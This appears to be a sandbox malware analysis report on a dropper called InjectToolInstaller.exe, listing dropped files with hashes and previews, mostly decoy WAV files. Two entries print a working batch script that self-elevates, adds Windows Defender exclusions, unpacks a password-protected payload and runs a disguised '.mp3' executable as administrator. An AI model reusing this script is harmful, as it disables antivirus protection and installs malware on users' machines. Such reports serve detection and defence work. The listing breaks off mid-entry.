SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\04disoij.wpj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\1.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	799
Entropy (8bit):	5.429551920459379
Encrypted:	false
SSDEEP:	24:YDFjY/3n+ZO1BP1lvXuAOYZdXJOYZdxWQgat/gx6W:YDFwX+cBrR55J5dx+x9
MD5:	0F646D63D5C95424B08EC8AE6BFC2730
SHA1:	2B7380474B8AA0B222E982575E66CA5AAC14BC1E
SHA-256:	8BBF1A16FB62E5993D5B95E854FC17F364483571FF7F32A8F6737C8DBBEBBE26
SHA-512:	8AE36C86E0BFED668112554A4C869EBB027147612B5F8E39CB28304385747C67FE70EC01F27ECD2B9F8E25B569AD5FA6827FD375B103075A1144B648A1FC3E26
Malicious:	true
Preview:	@echo off..:LOOP..NET FILE > NUL 2>&1 \|\| POWERSHELL -ex Unrestricted -Command "Start-Process -Verb RunAs -FilePath '%ComSpec%' -ArgumentList '/c "%~fnx0" %*'" && EXIT /b && (..goto shell..) \|\| (..goto loop..)..:SHELL..if not "%minimized%"=="" goto :minimized..set minimized=true..start /min cmd /C "%~dpnx0"..goto :EOF..:minimized..rem..powershell.exe -command "Add-MpPreference -ExclusionPath "%USERPROFILE%\Appdata\Local" -Force"..powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "%USERPROFILE%\Appdata\Local" -Force"..ping 127.0.0.1 -n 3 >nul..ren %~dp0data.dat data.exe..%~dp0data.exe -p"hty6u57tfg" -d"%~dp0"..ren %~dp021.mp3 insta313tg.exe..echo createobject("shell.application").shellexecute "%~dp0insta313tg.exe",,,"runas",1 > runas.vbs & start /wait runas.vbs

C:\Users\user\AppData\Local\Temp\21.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\data.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	754000000
Entropy (8bit):	0.0749439234468759
Encrypted:	false
SSDEEP:
MD5:	B1B1351B0ACA52254ECA958402C093F6
SHA1:	54D9DFD1171B3E78AE5EAF24A88F02E805F30219
SHA-256:	5F9CCCC57134A5F3A581943153A2AB51F3EB5C44104DD72B578D706CC5C8AF32
SHA-512:	19AAA062CA9DD26547282897DEFB534ECFEC021F67ADB7E439D7A11AA51D661573084E008AD37E5CD6DFB3C9A435F8FE1F400E7EF986B52BD4664E8108CD4C68
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e..................3...........3.. ....4...@.. ........................5...........`...................................3.K.....4...............4..#....4...................................................... ............... ..H............text.....3.. ....3................. ..`.rsrc.........4.......3.............@..@.reloc........4.......4.............@..B..................3.....H........g..x.......P...,~...s+.............................................(.......(....*.0..'....... ........8........E'...f.......7... ...........=...].......................".......B...`.......................-...........p.......w...M.......................,...........L.......8a.....9.... $...8I.....~....`..... ....82.......o...... ....8.....8....8........ ....~,...{Y...9....& "...8....8.... ....8.... ..(... ....8...... .....a..Yffeeffeeffe..Ya.. ....8....8.... ....~,.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\1.bat

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	799
Entropy (8bit):	5.429551920459379
Encrypted:	false
SSDEEP:	24:YDFjY/3n+ZO1BP1lvXuAOYZdXJOYZdxWQgat/gx6W:YDFwX+cBrR55J5dx+x9
MD5:	0F646D63D5C95424B08EC8AE6BFC2730
SHA1:	2B7380474B8AA0B222E982575E66CA5AAC14BC1E
SHA-256:	8BBF1A16FB62E5993D5B95E854FC17F364483571FF7F32A8F6737C8DBBEBBE26
SHA-512:	8AE36C86E0BFED668112554A4C869EBB027147612B5F8E39CB28304385747C67FE70EC01F27ECD2B9F8E25B569AD5FA6827FD375B103075A1144B648A1FC3E26
Malicious:	false
Preview:	@echo off..:LOOP..NET FILE > NUL 2>&1 \|\| POWERSHELL -ex Unrestricted -Command "Start-Process -Verb RunAs -FilePath '%ComSpec%' -ArgumentList '/c "%~fnx0" %*'" && EXIT /b && (..goto shell..) \|\| (..goto loop..)..:SHELL..if not "%minimized%"=="" goto :minimized..set minimized=true..start /min cmd /C "%~dpnx0"..goto :EOF..:minimized..rem..powershell.exe -command "Add-MpPreference -ExclusionPath "%USERPROFILE%\Appdata\Local" -Force"..powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "%USERPROFILE%\Appdata\Local" -Force"..ping 127.0.0.1 -n 3 >nul..ren %~dp0data.dat data.exe..%~dp0data.exe -p"hty6u57tfg" -d"%~dp0"..ren %~dp021.mp3 insta313tg.exe..echo createobject("shell.application").shellexecute "%~dp0insta313tg.exe",,,"runas",1 > runas.vbs & start /wait runas.vbs

C:\Users\user\AppData\Local\Temp\7zS48C4B291\License.txt

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3990
Entropy (8bit):	5.0412200010833965
Encrypted:	false
SSDEEP:	96:dslTu+xS0jaXU9zBOrYJ2rYJk9n3O3zOrTmxz0NxrVwA:WTuoS0gUTOrs2rsQn3O3SvmxQN7wA
MD5:	F4995E1BC415B0D91044673CD10A0379
SHA1:	F2EEC05948E9CF7D1B00515A69C6F63BF69E9CCA
SHA-256:	F037E7689F86A12A3F5F836DC73004547C089E4A2017687E5E0B803A19E3888B
SHA-512:	E7BB1BACAB6925978416E3DA2ACB32543B16B4F0F2289CC896194598EE9ADE5C62AA746C51CF6BF4568E77E96C0A1014E4DDB968F18F95178EE8DFB1E5A72B96
Malicious:	false
Preview:	7-Zip.. ~~~~~.. License for use and distribution.. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.... 7-Zip Copyright (C) 1999-2023 Igor Pavlov..... The licenses for files are:.... 1) 7z.dll:.. - The "GNU LGPL" as main license for most of the code.. - The "GNU LGPL" with "unRAR license restriction" for some code.. - The "BSD 3-clause License" for some code.. 2) All other files: the "GNU LGPL"..... Redistributions in binary form must reproduce related license information from this file..... Note:.. You can use 7-Zip on any computer, including a computer in a commercial.. organization. You don't need to register or pay for 7-Zip....... GNU LGPL information.. --------------------.... This library is free software; you can redistribute it and/or.. modify it under the terms of the GNU Lesser General Public.. License as published by the Free Software Foundation; either.. version 2.1 of the License, or (at your option) any later version..... Thi

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_birds - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.877578846983099
Encrypted:	false
SSDEEP:	49152:fGppwaAstPGmJJuMMr197UBCEghfHMmOL8:fGplNPnuVp97UBCptsvL8
MD5:	639EB4627992165DAD32AD41DF746BF7
SHA1:	286D70C527D4A0D03C5FEB0348F6D6E507AFAAED
SHA-256:	FB5A9508C75910052B7761A50028084912581EEC358F6378D5865A531B71CA64
SHA-512:	886C1453DAC99F4EBF8E3918641DA602A0BD062A0111E4187BE6A9EA4B11182DB2D093CE8F28A21347645B74B67AA6C9D0FB1970A521E4AD8C6F0626864E8640
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%......................................... .4....... .q.C.............?.............2.U...U.~.g.....:.......9.G...\.......F.......?.W.....n...,.C...J.a.I.........y.....J.v...d..............h.r.d......>.r.6........".....@..........'2q.B.k.s..!..J.v....).>>...o..........Y.'3W ...c...J.g.`...D".-..j.V.I...../.h.<.U.S.....'.....a....).....Y.D.......b....>.g.....z.....Y...?.A...!.............R.K.......i...........:.8.+...........A.Z.....{...d.{...........$.........!..\......+S(..8....f$....y..,.=q....\).:~.......>0.=......+e...b...G3n...@.Z.(&..-.,.D.n"....................../..V.....?.%.r............W............[.%.....y....A.?.......?.........%.w.@.e...............o.S.g............K.. ;.y......#.@...P..,t.".x.r..&s.d.p.f.5;.......Db...,...F.......-..l...BDd%e............Q.D2............../..)......z...:.4..._..$......L..........<............D........s....... ....>...........C.i...c.....q.t.n.....S.....w..#{.}.J..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_birds.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.877578846983099
Encrypted:	false
SSDEEP:	49152:fGppwaAstPGmJJuMMr197UBCEghfHMmOL8:fGplNPnuVp97UBCptsvL8
MD5:	639EB4627992165DAD32AD41DF746BF7
SHA1:	286D70C527D4A0D03C5FEB0348F6D6E507AFAAED
SHA-256:	FB5A9508C75910052B7761A50028084912581EEC358F6378D5865A531B71CA64
SHA-512:	886C1453DAC99F4EBF8E3918641DA602A0BD062A0111E4187BE6A9EA4B11182DB2D093CE8F28A21347645B74B67AA6C9D0FB1970A521E4AD8C6F0626864E8640
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%......................................... .4....... .q.C.............?.............2.U...U.~.g.....:.......9.G...\.......F.......?.W.....n...,.C...J.a.I.........y.....J.v...d..............h.r.d......>.r.6........".....@..........'2q.B.k.s..!..J.v....).>>...o..........Y.'3W ...c...J.g.`...D".-..j.V.I...../.h.<.U.S.....'.....a....).....Y.D.......b....>.g.....z.....Y...?.A...!.............R.K.......i...........:.8.+...........A.Z.....{...d.{...........$.........!..\......+S(..8....f$....y..,.=q....\).:~.......>0.=......+e...b...G3n...@.Z.(&..-.,.D.n"....................../..V.....?.%.r............W............[.%.....y....A.?.......?.........%.w.@.e...............o.S.g............K.. ;.y......#.@...P..,t.".x.r..&s.d.p.f.5;.......Db...,...F.......-..l...BDd%e............Q.D2............../..)......z...:.4..._..$......L..........<............D........s....... ....>...........C.i...c.....q.t.n.....S.....w..#{.}.J..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_drums - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	2.6724046043990817
Encrypted:	false
SSDEEP:	24576:RilNcelQpfJGhSmR8qxdEVhsQZ90/U+7o:Ri3efJuS+mVmQEc+E
MD5:	123437D6F80FE45F397A067CE4872D89
SHA1:	3B981369C54593B4DCFD3F7E08DB8F3E67A3FBA9
SHA-256:	25289632DCCC370B326D589D06169C7383C0A39B6D220DD468A01C785D54ABF9
SHA-512:	25B245F916B58CD359EE017CF48171CC3624C87E7941565DB5AE9D06FB3CB6A68423F4C39CC38C8A66BBE280E2A048A04D84D83700D35ED5C537D4D6525EB623
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%............................. .'.'.1.?.T.].^.y.............?.f.......J.....,.^.....^.....G...=...D.....U.......................i...Y.....,...n...x.....N...'...\.....#...L....7...i......."...........(.........\.H.}...k........9.....~.....0...k.f.........q...7.+.Y.....d.7............#...2.............\|.....+.!.}.......A.....?...-...1...........R.....4.x.,.........K...Y.w.5.1.x.......G.....+................l.....K.........V..p.F....8...G..t.p.f.v...U...J...$.E....M..K...@..Z...9...W...Z.`.,...Q.1.....Q.x.r.[.0...i..b.^.....i..P.....z.....Y.....v.......5.N..........S.=....+.....1..h...V.......i........S.......{.....M.u...3.z.....w...`...a...X...=.\...........].*.......1......./.r.....e...........D.............b...\.......................@.#...........-.................x... ...x.$.....%.....L.........U.....l.....................+.....D.......~...............7...f...R.....n...~...b...G...5.......\|... ...........W...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_drums.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	2.6724046043990817
Encrypted:	false
SSDEEP:	24576:RilNcelQpfJGhSmR8qxdEVhsQZ90/U+7o:Ri3efJuS+mVmQEc+E
MD5:	123437D6F80FE45F397A067CE4872D89
SHA1:	3B981369C54593B4DCFD3F7E08DB8F3E67A3FBA9
SHA-256:	25289632DCCC370B326D589D06169C7383C0A39B6D220DD468A01C785D54ABF9
SHA-512:	25B245F916B58CD359EE017CF48171CC3624C87E7941565DB5AE9D06FB3CB6A68423F4C39CC38C8A66BBE280E2A048A04D84D83700D35ED5C537D4D6525EB623
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%............................. .'.'.1.?.T.].^.y.............?.f.......J.....,.^.....^.....G...=...D.....U.......................i...Y.....,...n...x.....N...'...\.....#...L....7...i......."...........(.........\.H.}...k........9.....~.....0...k.f.........q...7.+.Y.....d.7............#...2.............\|.....+.!.}.......A.....?...-...1...........R.....4.x.,.........K...Y.w.5.1.x.......G.....+................l.....K.........V..p.F....8...G..t.p.f.v...U...J...$.E....M..K...@..Z...9...W...Z.`.,...Q.1.....Q.x.r.[.0...i..b.^.....i..P.....z.....Y.....v.......5.N..........S.=....+.....1..h...V.......i........S.......{.....M.u...3.z.....w...`...a...X...=.\...........].*.......1......./.r.....e...........D.............b...\.......................@.#...........-.................x... ...x.$.....%.....L.........U.....l.....................+.....D.......~...............7...f...R.....n...~...b...G...5.......\|... ...........W...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_piano - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.268896846573217
Encrypted:	false
SSDEEP:	49152:92MhRFJevzQZ+PKQOwW+lP1KxYEMbzWk/0x+RZXUfOi:92ERFJevzQIzOwWmPcxYPzWk++RZXUfV
MD5:	82E152E8A610DA8132789C9D4A4D1D3F
SHA1:	055180B27A639248C3BE0B2D875630AE256D9890
SHA-256:	82040461EEBB7AAF3C6055884ABCC642300FF37D241A1B7EE794E0B0B45B88D7
SHA-512:	77E525487B3D7BE2D473FC296445BFB2C06EC9DDD0CB5C0B174E40101F98326D48FD2DA797E327B1FB333E5EA56FD5D1EF14582E92A5591E60DA3260619C67BF
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.......................................................................&.7.F.P.T.P.B.).................................................e... .....d.........u..... .....V.......@.....,.Z.:.............).X.........g.........X.....x...!...............x.....=.....y.^...u...............v.b.;...L.O.........5.w.............F...8.S.......C.E.....S...........q.G.!.....e...0...%.........-.....p.......5.G.....k.5.(.=.[.y.......c.....q.>.6.%...J.........3...@.F.j...........J.........'...B...".....F...-.....................m.e.....7...0...T.......(....._.......Y...N...4.....A.........T.......L...............K.w...................'.......=.....Z.........C...A...M.........<.D.].....U.......u.5.6.%.........&.).r.....{.J.....d...Y.h.;.....u...@.....~...'...J.+.............T.\.Q.......r................._.x.......~...............).!.....].*...............I.!..........._.O.......0...,...l.........$.....M...].#.........l.....3...y...............(.y...7...J.....4...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_piano.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.268896846573217
Encrypted:	false
SSDEEP:	49152:92MhRFJevzQZ+PKQOwW+lP1KxYEMbzWk/0x+RZXUfOi:92ERFJevzQIzOwWmPcxYPzWk++RZXUfV
MD5:	82E152E8A610DA8132789C9D4A4D1D3F
SHA1:	055180B27A639248C3BE0B2D875630AE256D9890
SHA-256:	82040461EEBB7AAF3C6055884ABCC642300FF37D241A1B7EE794E0B0B45B88D7
SHA-512:	77E525487B3D7BE2D473FC296445BFB2C06EC9DDD0CB5C0B174E40101F98326D48FD2DA797E327B1FB333E5EA56FD5D1EF14582E92A5591E60DA3260619C67BF
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.......................................................................&.7.F.P.T.P.B.).................................................e... .....d.........u..... .....V.......@.....,.Z.:.............).X.........g.........X.....x...!...............x.....=.....y.^...u...............v.b.;...L.O.........5.w.............F...8.S.......C.E.....S...........q.G.!.....e...0...%.........-.....p.......5.G.....k.5.(.=.[.y.......c.....q.>.6.%...J.........3...@.F.j...........J.........'...B...".....F...-.....................m.e.....7...0...T.......(....._.......Y...N...4.....A.........T.......L...............K.w...................'.......=.....Z.........C...A...M.........<.D.].....U.......u.5.6.%.........&.).r.....{.J.....d...Y.h.;.....u...@.....~...'...J.+.............T.\.Q.......r................._.x.......~...............).!.....].*...............I.!..........._.O.......0...,...l.........$.....M...].#.........l.....3...y...............(.y...7...J.....4...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_sc09 - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.300253169532062
Encrypted:	false
SSDEEP:	24576:8HTpjOZG3+06bi08nKfRs1hNhrWrV4LxLD+121h:MALTW/nWrVWX+S
MD5:	F759D9F3F35DDA05908011FCAED1D018
SHA1:	0A7852907851700F7424094B7658D78743559DAE
SHA-256:	1780F4481AAE5BC51FB79A42D92946ADE0C5459EFD99DAA67BF2D1DCAE275919
SHA-512:	6CB7AB0AC9CB17D194B2A635DAB9E5934D36623BE7C126785CD83E1D98FE55A262068BC2676FD1499A07A1160005AFF7D6199E9BE544FAD4581DEBCDDF1B0390
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................9.....(.....1.+.....N.....(.].D...z...O...T.z.................6.......c.-..."...;.......&.....b...U.$.L.........8.....9.....q.....&.......'............................................................................................................................................................................................. .......................................................................................................................................................................................................................................................*.................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_sc09.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.300253169532062
Encrypted:	false
SSDEEP:	24576:8HTpjOZG3+06bi08nKfRs1hNhrWrV4LxLD+121h:MALTW/nWrVWX+S
MD5:	F759D9F3F35DDA05908011FCAED1D018
SHA1:	0A7852907851700F7424094B7658D78743559DAE
SHA-256:	1780F4481AAE5BC51FB79A42D92946ADE0C5459EFD99DAA67BF2D1DCAE275919
SHA-512:	6CB7AB0AC9CB17D194B2A635DAB9E5934D36623BE7C126785CD83E1D98FE55A262068BC2676FD1499A07A1160005AFF7D6199E9BE544FAD4581DEBCDDF1B0390
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................9.....(.....1.+.....N.....(.].D...z...O...T.z.................6.......c.-..."...;.......&.....b...U.$.L.........8.....9.....q.....&.......'............................................................................................................................................................................................. .......................................................................................................................................................................................................................................................*.................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_timit - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.089318169166504
Encrypted:	false
SSDEEP:	24576:0OJN46ER4UETaffrChCAXsfsStUT9LGYd9SoOaJqJyQpvH:0OJN46baffrChFxStu9LFqPH
MD5:	B1938437BFC4C13E424990F4D3F2353A
SHA1:	FC63B1E664C5EA8FAA8B5DF75A2756E59AE7A40A
SHA-256:	D531ED6375A6ADE4D449389B67E0A312FC97F3FBD025A627ABD72F2705FDBC26
SHA-512:	680179878406763EB57112FCD942F58FCF089B6FC6C6A7B19EE0FE2EC69B5ECA218539AFB8D10C55B6901B273CFAE93DEC52E8A3A46F5E8AA684079BE70547AB
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\gl_timit.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.089318169166504
Encrypted:	false
SSDEEP:	24576:0OJN46ER4UETaffrChCAXsfsStUT9LGYd9SoOaJqJyQpvH:0OJN46baffrChFxStu9LFqPH
MD5:	B1938437BFC4C13E424990F4D3F2353A
SHA1:	FC63B1E664C5EA8FAA8B5DF75A2756E59AE7A40A
SHA-256:	D531ED6375A6ADE4D449389B67E0A312FC97F3FBD025A627ABD72F2705FDBC26
SHA-512:	680179878406763EB57112FCD942F58FCF089B6FC6C6A7B19EE0FE2EC69B5ECA218539AFB8D10C55B6901B273CFAE93DEC52E8A3A46F5E8AA684079BE70547AB
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_parametric - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.3238565119681995
Encrypted:	false
SSDEEP:	24576:mIdFJwQGQ7GXoODZBNDhw4Gqcgc/UL80KTyqWC9JIcxxW2IB:mIZwr4ODZBZG4RCUPMlxxWVB
MD5:	DE35645B9BCA5DEE784285EE52AA407E
SHA1:	3E23801FBA4D83EF2C8F2ED772B0AEDD8B1395B9
SHA-256:	A5289B50B6178E8B4C3EA814A0C25CF4B4C2C8E3A0E30E416DBDAC49A61D3864
SHA-512:	78C8BA646941D8806FDDAA6A0BA1154DAA1463703651D625A230422374B157D63BD2959FA8B561CC1E9E40B5601B65F36AAE85D158D85CDF0460E5E7F637A17D
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_parametric.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.3238565119681995
Encrypted:	false
SSDEEP:	24576:mIdFJwQGQ7GXoODZBNDhw4Gqcgc/UL80KTyqWC9JIcxxW2IB:mIZwr4ODZBZG4RCUPMlxxWVB
MD5:	DE35645B9BCA5DEE784285EE52AA407E
SHA1:	3E23801FBA4D83EF2C8F2ED772B0AEDD8B1395B9
SHA-256:	A5289B50B6178E8B4C3EA814A0C25CF4B4C2C8E3A0E30E416DBDAC49A61D3864
SHA-512:	78C8BA646941D8806FDDAA6A0BA1154DAA1463703651D625A230422374B157D63BD2959FA8B561CC1E9E40B5601B65F36AAE85D158D85CDF0460E5E7F637A17D
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_specgan - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.349684310935958
Encrypted:	false
SSDEEP:	24576:alL2yJuwtfb9xGO0RHXDaJ/HTz5rgHdHYG:aYVKb9xd/9gHdHv
MD5:	9D8691FD2B28078CAC74060D0FD33BF7
SHA1:	21D9FA20835C46CEC90641380EA9AA71C57AB85E
SHA-256:	1BBF3A28BC06757CB8A3B19BC7186C583594B18AC459DF231CF9C9AABB1F3BB9
SHA-512:	626E71144737BA2E057A426A7F6C59F1B92DC52141752F6A8711AF969574E441C1582C038B4254C917126EE656F17281BEA7A8A093E1E05EFF55B4D54DCEEA50
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.&...../.).../.,. ..............."...............................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_specgan.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.349684310935958
Encrypted:	false
SSDEEP:	24576:alL2yJuwtfb9xGO0RHXDaJ/HTz5rgHdHYG:aYVKb9xd/9gHdHv
MD5:	9D8691FD2B28078CAC74060D0FD33BF7
SHA1:	21D9FA20835C46CEC90641380EA9AA71C57AB85E
SHA-256:	1BBF3A28BC06757CB8A3B19BC7186C583594B18AC459DF231CF9C9AABB1F3BB9
SHA-512:	626E71144737BA2E057A426A7F6C59F1B92DC52141752F6A8711AF969574E441C1582C038B4254C917126EE656F17281BEA7A8A093E1E05EFF55B4D54DCEEA50
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.&...../.).../.,. ..............."...............................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_wavenet_r9y9 - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.7163374755775385
Encrypted:	false
SSDEEP:	24576:BM6V3Al9dAW8BnqA5g8MxlvONfq5RNWqdAjzqzZlCfUq:BnVQl9dzsvzkg/zkSft
MD5:	4A1D53E7FD0F268A7FD23FB9B3139EE3
SHA1:	A80942C3CAB97EA97B2406FAB965BB4B3C16C2FE
SHA-256:	7832608E235911200D1C224C201D3AEFEFE3B154911A53C2507CD83E31447C1F
SHA-512:	CC00E720B65246BD0AD30DEC09A35A5BC0F409645F47D8576649036408A258B7A372C0E4F5F16B222A9965A92CD2DD03FD6F782BEC5F1A85438A339C310DFD01
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\quant_wavenet_r9y9.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	4.7163374755775385
Encrypted:	false
SSDEEP:	24576:BM6V3Al9dAW8BnqA5g8MxlvONfq5RNWqdAjzqzZlCfUq:BnVQl9dzsvzkg/zkSft
MD5:	4A1D53E7FD0F268A7FD23FB9B3139EE3
SHA1:	A80942C3CAB97EA97B2406FAB965BB4B3C16C2FE
SHA-256:	7832608E235911200D1C224C201D3AEFEFE3B154911A53C2507CD83E31447C1F
SHA-512:	CC00E720B65246BD0AD30DEC09A35A5BC0F409645F47D8576649036408A258B7A372C0E4F5F16B222A9965A92CD2DD03FD6F782BEC5F1A85438A339C310DFD01
Malicious:	false
Preview:	RIFF$5%.WAVEfmt .........>...}......data.5%.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zS48C4B291\audio\real_birds - Copy.wav

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 16000 Hz
Category:	dropped
Size (bytes):	2438444
Entropy (8bit):	5.154175266802094
Encrypted:	false
